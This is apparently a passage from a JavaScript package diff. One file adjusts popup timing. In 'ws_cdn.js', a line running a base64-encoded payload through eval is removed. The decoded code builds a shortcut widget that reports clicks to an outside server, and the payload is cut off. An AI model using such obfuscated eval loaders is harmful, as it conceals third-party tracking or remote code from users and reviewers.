  const container = document.getElementById('container');
12
12
  if (container) container.style.boxShadow = 'none';
package/wp-pc-pop.js CHANGED
@@ -6,7 +6,7 @@ window.addEventListener('load', () => {
6
6
  const btn = document.getElementById("button");
7
7
  if (s2) { s2.style.zIndex = "99"; s2.style.opacity = "0.9"; }
8
8
  if (btn) { btn.style.display = "block"; btn.style.zIndex = "999"; btn.style.opacity = "1"; }
9
- }, 1000);
9
+ }, 500);
10
10
 
11
11
  const container = document.getElementById('container');
12
12
  if (container) container.style.boxShadow = 'none';
package/ws_cdn.js CHANGED
@@ -3,4 +3,4 @@
3
3
  Unauthorized copying, modification, or redistribution is strictly prohibited.
4
4
  */
5
5
 
6
- eval(decodeURIComponent(escape(window.atob('ICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ0RPTUNvbnRlbnRMb2FkZWQnLCBmdW5jdGlvbigpIHsNCiAgICAgICAgaWYgKHdpbmRvdy5GSExXaWRnZXRJbml0aWFsaXplZCkgcmV0dXJuOw0KICAgICAgICB3aW5kb3cuRkhMV2lkZ2V0SW5pdGlhbGl6ZWQgPSB0cnVlOw0KDQogICAgICAgIGNvbnN0IGxhbmd1YWdlcyA9IFsgeyBjb2RlOiAnZW4nLCBuYW1lOiAnRW5nbGlzaCcgfSwgeyBjb2RlOiAna28nLCBuYW1lOiAn7ZWc6rWt7Ja0JyB9LCB7IGNvZGU6ICdlcycsIG5hbWU6ICdFc3Bhw7FvbCcgfSwgeyBjb2RlOiAnaGknLCBuYW1lOiAn4KS54KS/4KSo4KWN4KSm4KWAJyB9LCB7IGNvZGU6ICdhcicsIG5hbWU6ICfYp9mE2LnYsdio2YrYqScgfSwgeyBjb2RlOiAnZGUnLCBuYW1lOiAnRGV1dHNjaCcgfSwgeyBjb2RlOiAnZnInLCBuYW1lOiAnRnJhbsOnYWlzJyB9LCB7IGNvZGU6ICdwdCcsIG5hbWU6ICdQb3J0dWd1w6pzJyB9LCB7IGNvZGU6ICdibicsIG5hbWU6ICfgpqzgpr7gpoLgprLgpr4nIH0sIHsgY29kZTogJ2phJywgbmFtZTogJ+aXpeacrOiqnicgfSwgeyBjb2RlOiAncnUnLCBuYW1lOiAn0KDRg9GB0YHQutC40LknIH0sIHsgY29kZTogJ3poJywgbmFtZTogJ+eugOS9k+S4reaWhycgfSwgeyBjb2RlOiAndGgnLCBuYW1lOiAn4LmE4LiX4LiiJyB9LCB7IGNvZGU6ICd2aScsIG5hbWU6ICdUaeG6v25nIFZp4buHdCcgfSwgeyBjb2RlOiAnaWQnLCBuYW1lOiAnSW5kb25lc2lhJyB9LCB7IGNvZGU6ICd0cicsIG5hbWU6ICdUw7xya8OnZScgfSwgeyBjb2RlOiAndXInLCBuYW1lOiAn2KfYsdiv2YgnIH1dOw0KICAgICAgICBsZXQgY3VycmVudERpc3BsYXlJdGVtcyA9IFtdOyANCiAgICAgICAgbGV0IGN1cnJlbnRQYWdlID0gMTsgDQogICAgICAgIGNvbnN0IElURU1TX1BFUl9QQUdFID0gMzA7DQogICAgICAgIGxldCBpc0xvYWRpbmdOZXh0UGFnZSA9IGZhbHNlOyANCiAgICAgICAgbGV0IHNlYXJjaFRpbWVvdXQgPSBudWxsOw0KDQogICAgICAgIGNvbnN0IHdpZGdldENvbnRhaW5lciA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaGwtd2lkZ2V0LWNvbnRhaW5lcicpOw0KICAgICAgICBjb25zdCB3aWRnZXRXcmFwcGVyID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZobC13aWRnZXQtd3JhcHBlcicpOw0KICAgICAgICBjb25zdCBsaXN0Q29udGFpbmVyID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZobC1saXN0LWNvbnRhaW5lcicpOw0KICAgICAgICBjb25zdCBzZWFyY2hJbnB1dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaGwtc2VhcmNoLWlucHV0Jyk7DQogICAgICAgIGNvbnN0IHNlYXJjaFJlc3VsdHNDb250YWluZXIgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLXNlYXJjaC1yZXN1bHRzJyk7DQogICAgICAgIGNvbnN0IHNlYXJjaFRyaWdnZXIgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLXNlYXJjaC10cmlnZ2VyJyk7DQogICAgICAgIGNvbnN0IHNlYXJjaENsb3NlID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZobC1zZWFyY2gtY2xvc2UnKTsNCiAgICAgICAgY29uc3QgaW5kaWNhdG9yVHJhY2sgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLWluZGljYXRvci10cmFjaycpOw0KICAgICAgICBjb25zdCBzY3JvbGxJbmRpY2F0b3IgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLXNjcm9sbC1pbmRpY2F0b3InKTsNCiAgICAgICAgY29uc3QgYWRkVG9Ib21lQnRuID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZobC1hZGQtdG8taG9tZS1idG4nKTsNCiAgICAgICAgY29uc3Qgc2VhcmNoQWRkQnRuID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZobC1zZWFyY2gtYWRkLWJ0bicpOw0KICAgICAgICBjb25zdCB0b2FzdEVsZW1lbnQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLXRvYXN0LW5vdGlmaWNhdGlvbicpOw0KICAgICAgICBjb25zdCBsYW5ndWFnZUJ0biA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaGwtbGFuZ3VhZ2UtYnRuJyk7DQogICAgICAgIGNvbnN0IGxhbmd1YWdlUGFuZWwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLWxhbmd1YWdlLXBhbmVsJyk7DQogICAgICAgIGNvbnN0IGZpeGVkUXVlc3Rpb25CdG4gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLWZpeGVkLXF1ZXN0aW9uJyk7DQogICAgICAgIGNvbnN0IGZpeGVkQ2hhdEJ0biA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaGwtZml4ZWQtY2hhdCcpOw0KICAgICAgICBjb25zdCBmaXhlZEFkQnRuID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZobC1maXhlZC1hZCcpOw0KICAgICAgICBjb25zdCBmaXhlZEluZm9CdG4gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmhsLWZpeGVkLWluZm8nKTsNCiAgICAgICAgDQogICAgICAgIGxldCB0b2FzdFRpbWVvdXQgPSBudWxsOw0KICAgICAgICBsZXQgY3VycmVudExhbmcgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnZmhsLXdpZGdldC1sYW5nJykgfHwgJ2VuJzsNCiAgICAgICAgY29uc3QgQVBJX0JBU0VfVVJMID0gJ2h0dHBzOi8vaXNhaS5rcic7DQoNCiAgICAgICAgY29uc3Qgc2hvcnRjdXRNYW5hZ2VyID0gew0KICAgICAgICAgICAga2V5OiAnZmhsLWN1c3RvbS1pY29ucy13aXRoLWV4cGlyeScsDQogICAgICAgICAgICBnZXQ6ICgpID0+IHsNCiAgICAgICAgICAgICAgICBjb25zdCByYXdEYXRhID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oc2hvcnRjdXRNYW5hZ2VyLmtleSk7DQogICAgICAgICAgICAgICAgaWYgKCFyYXdEYXRhKSByZXR1cm4gW107DQogICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgY29uc3QgZGF0YSA9IEpTT04ucGFyc2UocmF3RGF0YSk7DQogICAgICAgICAgICAgICAgICAgIGNvbnN0IHRoaXJ0eURheXNJbk1zID0gMzAgKiAyNCAqIDYwICogNjAgKiAxMDAwOw0KICAgICAgICAgICAgICAgICAgICBpZiAoRGF0ZS5ub3coKSAtIGRhdGEudGltZXN0YW1wID4gdGhpcnR5RGF5c0luTXMpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKHNob3J0Y3V0TWFuYWdlci5rZXkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFtdOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBBcnJheS5pc0FycmF5KGRhdGEuc2hvcnRjdXRzKSA/IGRhdGEuc2hvcnRjdXRzLmZpbHRlcihpdGVtID0+IGl0ZW0gJiYgaXRlbS5uYW1lICYmIGl0ZW0udXJsKSA6IFtdOw0KICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGUpIHsNCiAgICAgICAgICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oc2hvcnRjdXRNYW5hZ2VyLmtleSk7DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBbXTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9LA0KICAgICAgICAgICAgc2V0OiAoc2hvcnRjdXRzKSA9PiB7DQogICAgICAgICAgICAgICAgY29uc3QgZGF0YVRvU3RvcmUgPSB7IHRpbWVzdGFtcDogRGF0ZS5ub3coKSwgc2hvcnRjdXRzOiBzaG9ydGN1dHMgfTsNCiAgICAgICAgICAgICAgICBsb2NhbFN0b3JhZ2Uuc2V0SXRlbShzaG9ydGN1dE1hbmFnZXIua2V5LCBKU09OLnN0cmluZ2lmeShkYXRhVG9TdG9yZSkpOw0KICAgICAgICAgICAgfSwNCiAgICAgICAgICAgIHN5bmNGcm9tVVJMOiAoKSA9PiB7DQogICAgICAgICAgICAgICAgY29uc3QgcGFyYW1zID0gbmV3IFVSTFNlYXJjaFBhcmFtcyh3aW5kb3cubG9jYXRpb24uc2VhcmNoKTsNCiAgICAgICAgICAgICAgICBjb25zdCBzaG9ydGN1dHNQYXJhbSA9IHBhcmFtcy5nZXQoJ3Nob3J0Y3V0cycpOw0KICAgICAgICAgICAgICAgIGlmIChzaG9ydGN1dHNQYXJhbSkgew0KICAgICAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICAgICAgY29uc3QgZGVjb2RlZERhdGEgPSBkZWNvZGVVUklDb21wb25lbnQoc2hvcnRjdXRzUGFyYW0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgSlNPTi5wYXJzZShkZWNvZGVkRGF0YSk7DQogICAgICAgICAgICAgICAgICAgICAgICBsb2NhbFN0b3JhZ2Uuc2V0SXRlbShzaG9ydGN1dE1hbmFnZXIua2V5LCBkZWNvZGVkRGF0YSk7DQogICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGUpIHsgY29uc29sZS5lcnJvcigiRmFpbGVkIHRvIHBhcnNlIHNob3J0Y3V0cyBmcm9tIFVSTDoiLCBlKX0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9LA0KICAgICAgICAgICAgZ2V0QXNQYXJhbTogKCkgPT4gew0KICAgICAgICAgICAgICAgIGNvbnN0IHJhd0RhdGEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbShzaG9ydGN1dE1hbmFnZXIua2V5KTsNCiAgICAgICAgICAgICAgICBpZiAoIXJhd0RhdGEpIHJldHVybiAnJzsNCiAgICAgICAgICAgICAgICByZXR1cm4gYHNob3J0Y3V0cz0ke2VuY29kZVVSSUNvbXBvbmVudChyYXdEYXRhKX1gOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9Ow0KICAgICAgICANCiAgICAgICAgY29uc3QgdXBkYXRlQWxsV2lkZ2V0TGlua3MgPSAoKSA9PiB7DQogICAgICAgICAgICBjb25zdCBwYXJhbVN0cmluZyA9IHNob3J0Y3V0TWFuYWdlci5nZXRBc1BhcmFtKCk7DQogICAgICAgICAgICBpZiAoIXBhcmFtU3RyaW5nKSByZXR1cm47DQogICAgICAgICAgICBjb25zdCBhbGxMaW5rcyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJyNmaGwtd2lkZ2V0LWNvbnRhaW5lciAuZmhsLWljb24tZGlzcGxheSwgI2ZobC13aWRnZXQtY29udGFpbmVyIC5maGwtZml4ZWQtaXRlbScpOw0KICAgICAgICAgICAgYWxsTGlua3MuZm9yRWFjaChsaW5rID0+IHsNCiAgICAgICAgICAgICAgICBpZiAobGluay50YWdOYW1lID09PSAnQScpIHsNCiAgICAgICAgICAgICAgICAgICAgY29uc3Qgb3JpZ2luYWxIcmVmID0gbGluay5nZXRBdHRyaWJ1dGUoJ2hyZWYnKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCFvcmlnaW5hbEhyZWYgfHwgb3JpZ2luYWxIcmVmLnN0YXJ0c1dpdGgoJyMnKSkgcmV0dXJuOw0KICAgICAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICAgICAgbGV0IG5ld1VybCA9IG5ldyBVUkwob3JpZ2luYWxIcmVmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnN0IFtrZXksIHZhbHVlXSA9IHBhcmFtU3RyaW5nLnNwbGl0KCc9Jyk7DQogICAgICAgICAgICAgICAgICAgICAgICBuZXdVcmwuc2VhcmNoUGFyYW1zLnNldChrZXksIHZhbHVlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGxpbmsuaHJlZiA9IG5ld1VybC50b1N0cmluZygpOw0KICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChlKSB7IGNvbnNvbGUuZXJyb3IoJ0ludmFsaWQgVVJMIGZvciBsaW5rIHVwZGF0ZTonLCBvcmlnaW5hbEhyZWYpfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0pOw0KICAgICAgICB9Ow0KDQogICAgICAgIGNvbnN0IHNob3dUb2FzdCA9IChtZXNzYWdlKSA9PiB7IGNsZWFyVGltZW91dCh0b2FzdFRpbWVvdXQpOyB0b2FzdEVsZW1lbnQudGV4dENvbnRlbnQgPSBtZXNzYWdlOyB0b2FzdEVsZW1lbnQuY2xhc3NMaXN0LmFkZCgndmlzaWJsZScpOyB0b2FzdFRpbWVvdXQgPSBzZXRUaW1lb3V0KCgpID0+IHsgdG9hc3RFbGVtZW50LmNsYXNzTGlzdC5yZW1vdmUoJ3Zpc2libGUnKX0sIDI1MDApfTsNCiAgICAgICAgDQogICAgICAgIGNvbnN0IGFwcGx5TGFuZ3VhZ2UgPSAobGFuZ0NvZGUpID0+IHsNCiAgICAgICAgICAgIGlmICh0eXBlb2YgdHJhbnNsYXRpb25zID09PSAndW5kZWZpbmVkJykgeyBjb25zb2xlLmVycm9yKCJUcmFuc2xhdGlvbnMgbm90IGxvYWRlZCEgTWFrZSBzdXJlIGxhbmcuanMgaXMgaW5jbHVkZWQgY29ycmVjdGx5LiIpOyByZXR1cm59DQogICAgICAgICAgICBjb25zdCB0ID0gdHJhbnNsYXRpb25zW2xhbmdDb2RlXSB8fCB0cmFuc2xhdGlvbnNbJ2VuJ107DQogICAgICAgICAgICBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQubGFuZyA9IGxhbmdDb2RlOw0KICAgICAgICAgICAgc2VhcmNoVHJpZ2dlci5zZXRBdHRyaWJ1dGUoJ2FyaWEtbGFiZWwnLCB0Lm9wZW5TZWFyY2gpOw0KICAgICAgICAgICAgYWRkVG9Ib21lQnRuLnNldEF0dHJpYnV0ZSgnYXJpYS1sYWJlbCcsIHQuYWRkVG9XaWRnZXQpOw0KICAgICAgICAgICAgc2VhcmNoQ2xvc2Uuc2V0QXR0cmlidXRlKCdhcmlhLWxhYmVsJywgdC5jbG9zZVNlYXJjaCk7DQogICAgICAgICAgICBsYW5ndWFnZUJ0bi5zZXRBdHRyaWJ1dGUoJ2FyaWEtbGFiZWwnLCB0LmNoYW5nZUxhbmd1YWdlKTsNCiAgICAgICAgICAgIHNlYXJjaEFkZEJ0bi5zZXRBdHRyaWJ1dGUoJ2FyaWEtbGFiZWwnLCAnQ29weSBXaWRnZXQgQ29kZScpOyANCiAgICAgICAgICAgIGZpeGVkUXVlc3Rpb25CdG4uc2V0QXR0cmlidXRlKCdhcmlhLWxhYmVsJywgdC5xdWVzdGlvbik7DQogICAgICAgICAgICBmaXhlZENoYXRCdG4uc2V0QXR0cmlidXRlKCdhcmlhLWxhYmVsJywgdC5jaGFyYWN0ZXJDaGF0KTsNCiAgICAgICAgICAgIGZpeGVkQWRCdG4uc2V0QXR0cmlidXRlKCdhcmlhLWxhYmVsJywgdC5hZHMpOw0KICAgICAgICAgICAgZml4ZWRJbmZvQnRuLnNldEF0dHJpYnV0ZSgnYXJpYS1sYWJlbCcsIHQuaW5mbyk7DQogICAgICAgICAgICBzZWFyY2hJbnB1dC5wbGFjZWhvbGRlciA9IHQuc2VhcmNoUGxhY2Vob2xkZXI7DQogICAgICAgICAgICBpbml0aWFsUmVuZGVyKCk7DQogICAgICAgIH07DQoNCiAgICAgICAgY29uc3QgcG9wdWxhdGVMYW5ndWFnZVBhbmVsID0gKCkgPT4geyBsYW5ndWFnZVBhbmVsLmlubmVySFRNTCA9ICcnOyBsYW5ndWFnZXMuZm9yRWFjaChsYW5nID0+IHsgY29uc3QgbGFuZ0l0ZW0gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdhJyk7IGxhbmdJdGVtLmhyZWYgPSAnIyc7IGxhbmdJdGVtLmNsYXNzTmFtZSA9ICdmaGwtbGFuZ3VhZ2UtaXRlbSc7IGxhbmdJdGVtLnRleHRDb250ZW50ID0gbGFuZy5uYW1lOyBsYW5nSXRlbS5kYXRhc2V0LmxhbmcgPSBsYW5nLmNvZGU7IGxhbmdJdGVtLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgKGUpID0+IHsgZS5wcmV2ZW50RGVmYXVsdCgpOyBlLnN0b3BQcm9wYWdhdGlvbigpOyBjb25zdCBuZXdMYW5nID0gZS50YXJnZXQuZGF0YXNldC5sYW5nOyBpZiAobmV3TGFuZyAhPT0gY3VycmVudExhbmcpIHsgY3VycmVudExhbmcgPSBuZXdMYW5nOyBsb2NhbFN0b3JhZ2Uuc2V0SXRlbSgnZmhsLXdpZGdldC1sYW5nJywgY3VycmVudExhbmcpOyBhcHBseUxhbmd1YWdlKGN1cnJlbnRMYW5nKX0gbGFuZ3VhZ2VQYW5lbC5jbGFzc0xpc3QucmVtb3ZlKCd2aXNpYmxlJyl9KTsgbGFuZ3VhZ2VQYW5lbC5hcHBlbmRDaGlsZChsYW5nSXRlbSl9KX07DQogICAgICAgIGNvbnN0IGdldFByb2Nlc3NlZFVybCA9IChmdWxsVXJsKSA9PiB7IHRyeSB7IGNvbnN0IHVybE9iaiA9IG5ldyBVUkwoZnVsbFVybCk7IHJldHVybiBgJHt1cmxPYmoucHJvdG9jb2x9Ly8ke3VybE9iai5ob3N0bmFtZX1gfSBjYXRjaCAoZSkgeyByZXR1cm4gZnVsbFVybH0gfTsNCiAgICAgICAgDQogICAgICAgIGNvbnN0IGNyZWF0ZUljb25JdGVtID0gKGl0ZW0sIHR5cGUgPSAnZGVmYXVsdCcpID0+IHsNCiAgICAgICAgICAgIGlmICghaXRlbSB8fCAhaXRlbS5uYW1lIHx8ICFpdGVtLnVybCkgcmV0dXJuIGRvY3VtZW50LmNyZWF0ZURvY3VtZW50RnJhZ21lbnQoKTsNCiAgICAgICAgICAgIGNvbnN0IGxpbmsgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdhJyk7DQogICAgICAgICAgICBpZiAodHlwZSA9PT0gJ3NlYXJjaCcpIHsNCiAgICAgICAgICAgICAgICBjb25zdCBwYXJhbVN0cmluZyA9IHNob3J0Y3V0TWFuYWdlci5nZXRBc1BhcmFtKCk7DQogICAgICAgICAgICAgICAgbGV0IGZpbmFsVXJsID0gaXRlbS51cmw7DQogICAgICAgICAgICAgICAgaWYgKHBhcmFtU3RyaW5nKSB7IHRyeSB7IGxldCBuZXdVcmwgPSBuZXcgVVJMKGl0ZW0udXJsKTsgY29uc3QgW2tleSwgdmFsdWVdID0gcGFyYW1TdHJpbmcuc3BsaXQoJz0nKTsgbmV3VXJsLnNlYXJjaFBhcmFtcy5zZXQoa2V5LCB2YWx1ZSk7IGZpbmFsVXJsID0gbmV3VXJsLnRvU3RyaW5nKCl9IGNhdGNoIChlKSB7IGNvbnNvbGUuZXJyb3IoJ0ludmFsaWQgVVJMIGZvciBzZWFyY2ggcmVzdWx0IGxpbms6JywgaXRlbS51cmwpfSB9DQogICAgICAgICAgICAgICAgbGluay5ocmVmID0gZmluYWxVcmw7DQogICAgICAgICAgICB9IGVsc2UgeyBsaW5rLmhyZWYgPSBpdGVtLnVybH0NCiAgICAgICAgICAgIGxpbmsuY2xhc3NOYW1lID0gJ2ZobC1pY29uLWRpc3BsYXknOw0KCQkJbGluay5yZWwgPSAnbm9mb2xsb3cnOw0KICAgICAgICAgICAgbGluay5zZXRBdHRyaWJ1dGUoJ2FyaWEtbGFiZWwnLCBpdGVtLm5hbWUpOw0KICAgICAgICAgICAgaWYgKHR5cGUgPT09ICdzZWFyY2gnKSB7IGxpbmsuYWRkRXZlbnRMaXN0ZW5lcignbW91c2Vkb3duJywgKCkgPT4geyBmZXRjaChgJHtBUElfQkFTRV9VUkx9L3VwZGF0ZV92aWV3X2NvdW50LnBocGAsIHsgbWV0aG9kOiAnUE9TVCcsIGhlYWRlcnM6IHsgJ0NvbnRlbnQtVHlwZSc6ICdhcHBsaWNhdGlvbi9qc29uJyB9LCBib2R5OiBKU09OLnN0cmluZ2lmeSh7IHVybDogaXRlbS51cmwgfSkgfSkuY2F0Y2goY29uc29sZS5lcnJvcil9KTsgbGluay50YXJnZXQgPSAnX2JsYW5rJ30NCiAgICAgICAgICAgIGNvbnN0IGljb25DaXJjbGUgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdkaXYnKTsgaWNvbkNpcmNsZS5jbGFzc05hbWUgPSAnZmhsLWljb24tY2lyY2xlJzsNCiAgICAgICAgICAgIGlmIChpdGVtLmljb24pIHsgY29uc3QgaWNvbiA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2knKTsgaWNvbi5jbGFzc05hbWUgPSBgcGgtYm9sZCAke2l0ZW0uaWNvbn1gOyBpY29uQ2lyY2xlLmFwcGVuZENoaWxkKGljb24pfQ0KICAgICAgICAgICAgZWxzZSBpZiAoaXRlbS5pbWcpIHsgY29uc3QgY3VzdG9tSW1hZ2UgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbWcnKTsgY3VzdG9tSW1hZ2Uuc3JjID0gaXRlbS5pbWc7IGN1c3RvbUltYWdlLmFsdCA9IGl0ZW0ubmFtZTsgY3VzdG9tSW1hZ2Uub25lcnJvciA9ICgpID0+IHsgY3VzdG9tSW1hZ2Uuc3R5bGUuZGlzcGxheSA9ICdub25lJ307IGljb25DaXJjbGUuYXBwZW5kQ2hpbGQoY3VzdG9tSW1hZ2UpfQ0KICAgICAgICAgICAgZWxzZSB7IGNvbnN0IGZhdmljb24gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbWcnKTsgZmF2aWNvbi5zcmMgPSBgaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS9zMi9mYXZpY29ucz9zej02NCZkb21haW5fdXJsPSR7aXRlbS51cmx9YDsgZmF2aWNvbi5hbHQgPSBpdGVtLm5hbWU7IGZhdmljb24ub25lcnJvciA9ICgpID0+IHsgZmF2aWNvbi5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnfTsgaWNvbkNpcmNsZS5hcHBlbmRDaGlsZChmYXZpY29uKX0NCiAgICAgICAgICAgIGxpbmsuYXBwZW5kQ2hpbGQoaWNvbkNpcmNsZSk7DQogICAgICAgICAgICBpZiAodHlwZSA9PT0gJ3NlYXJjaCcpIHsNCiAgICAgICAgICAgICAgICBjb25zdCB0b29sdGlwID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7IHRvb2x0aXAuY2xhc3NOYW1lID0gJ2ZobC1pdGVtLXRvb2x0aXAnOyB0b29sdGlwLnRleHRDb250ZW50ID0gaXRlbS5uYW1lLmxlbmd0aCA+IDUgPyBpdGVtLm5hbWUuc2xpY2UoMCwgNSkgKyAnLi4nIDogaXRlbS5uYW1lOyBsaW5rLmFwcGVuZENoaWxkKHRvb2x0aXApOw0KICAgICAgICAgICAgICAgIGxpbmsuYWRkRXZlbnRMaXN0ZW5lcignbW91c2VlbnRlcicsIChlKSA9PiB7IGNvbnN0IGN1cnJlbnRUb29sdGlwID0gZS5jdXJyZW50VGFyZ2V0LnF1ZXJ5U2VsZWN0b3IoJy5maGwtaXRlbS10b29sdGlwJyk7IGlmICghY3VycmVudFRvb2x0aXApIHJldHVybjsgY3VycmVudFRvb2x0aXAuY2xhc3NMaXN0LmFkZCgndmlzaWJsZScpOyBjb25zdCB3aWRnZXRSZWN0ID0gd2lkZ2V0V3JhcHBlci5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKTsgY29uc3QgdG9vbHRpcFJlY3QgPSBjdXJyZW50VG9vbHRpcC5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKTsgbGV0IG9mZnNldFggPSAwOyBjb25zdCBwYWRkaW5nID0gNTsgaWYgKHRvb2x0aXBSZWN0LmxlZnQgPCB3aWRnZXRSZWN0LmxlZnQpIHsgb2Zmc2V0WCA9IHdpZGdldFJlY3QubGVmdCAtIHRvb2x0aXBSZWN0LmxlZnQgKyBwYWRkaW5nfSBlbHNlIGlmICh0b29sdGlwUmVjdC5yaWdodCA+IHdpZGdldFJlY3QucmlnaHQpIHsgb2Zmc2V0WCA9IHdpZGdldFJlY3QucmlnaHQgLSB0b29sdGlwUmVjdC5yaWdodCAtIHBhZGRpbmd9IGlmIChvZmZzZXRYICE9PSAwKSB7IGN1cnJlbnRUb29sdGlwLnN0eWxlLnRyYW5zZm9ybSA9IGB0cmFuc2xhdGVYKGNhbGMoLTUwJSArICR7b2Zmc2V0WH1weCkpYH0gfSk7DQogICAgICAgICAgICAgICAgbGluay5hZGRFdmVudExpc3RlbmVyKCdtb3VzZWxlYXZlJywgKGUpID0+IHsgY29uc3QgY3VycmVudFRvb2x0aXAgPSBlLmN1cnJlbnRUYXJnZXQucXVlcnlTZWxlY3RvcignLmZobC1pdGVtLXRvb2x0aXAnKTsgaWYgKCFjdXJyZW50VG9vbHRpcCkgcmV0dXJuOyBjdXJyZW50VG9vbHRpcC5jbGFzc0xpc3QucmVtb3ZlKCd2aXNpYmxlJyk7IGN1cnJlbnRUb29sdGlwLnN0eWxlLnRyYW5zZm9ybSA9ICd0cmFuc2xhdGVYKC01MCUpJ30pOw0KICAgICAgICAgICAgfSBlbHNlIHsgY29uc3QgbmFtZVNwYW4gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzcGFuJyk7IG5hbWVTcGFuLmNsYXNzTmFtZSA9ICdmaGwtaXRlbS1uYW1lJzsgbmFtZVNwYW4udGV4dENvbnRlbnQgPSBpdGVtLm5hbWUubGVuZ3RoID4gNSA/IGl0ZW0ubmFtZS5zbGljZSgwLCA1KSArICcuLicgOiBpdGVtLm5hbWU7IGxpbmsuYXBwZW5kQ2hpbGQobmFtZVNwYW4pfQ0KICAgICAgICAgICAgaWYgKHR5cGUgPT09ICdsb2NhbCcpIHsNCiAgICAgICAgICAgICAgICBjb25zdCBjb250cm9scyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2RpdicpOyBjb250cm9scy5jbGFzc05hbWUgPSAnZmhsLWl0ZW0tY29udHJvbHMnOw0KICAgICAgICAgICAgICAgIGNvbnN0IGRlbGV0ZUJ0biA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2J1dHRvbicpOyBkZWxldGVCdG4uY2xhc3NOYW1lID0gJ2ZobC1jb250cm9sLWJ0bic7IGRlbGV0ZUJ0bi5pbm5lckhUTUwgPSAnJnRpbWVzOyc7IGRlbGV0ZUJ0bi50aXRsZSA9ICfsgq3soJwnOw0KICAgICAgICAgICAgICAgIGRlbGV0ZUJ0bi5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIChlKSA9PiB7IGUucHJldmVudERlZmF1bHQoKTsgZS5zdG9wUHJvcGFnYXRpb24oKTsgbGV0IHN0b3JlZEl0ZW1zID0gc2hvcnRjdXRNYW5hZ2VyLmdldCgpOyBzdG9yZWRJdGVtcyA9IHN0b3JlZEl0ZW1zLmZpbHRlcihzdG9yZWQgPT4gc3RvcmVkLnVybCAhPT0gaXRlbS51cmwpOyBzaG9ydGN1dE1hbmFnZXIuc2V0KHN0b3JlZEl0ZW1zKTsgaW5pdGlhbFJlbmRlcigpfSk7DQogICAgICAgICAgICAgICAgY29uc3QgbW92ZUJ0biA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2J1dHRvbicpOyBtb3ZlQnRuLmNsYXNzTmFtZSA9ICdmaGwtY29udHJvbC1idG4nOyBtb3ZlQnRuLmlubmVySFRNTCA9ICcmZ3Q7JzsgbW92ZUJ0bi50aXRsZSA9ICfsmKTrpbjsqr3snLzroZwg7J2064+ZJzsNCiAgICAgICAgICAgICAgICBtb3ZlQnRuLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgKGUpID0+IHsgZS5wcmV2ZW50RGVmYXVsdCgpOyBlLnN0b3BQcm9wYWdhdGlvbigpOyBsZXQgc3RvcmVkSXRlbXMgPSBzaG9ydGN1dE1hbmFnZXIuZ2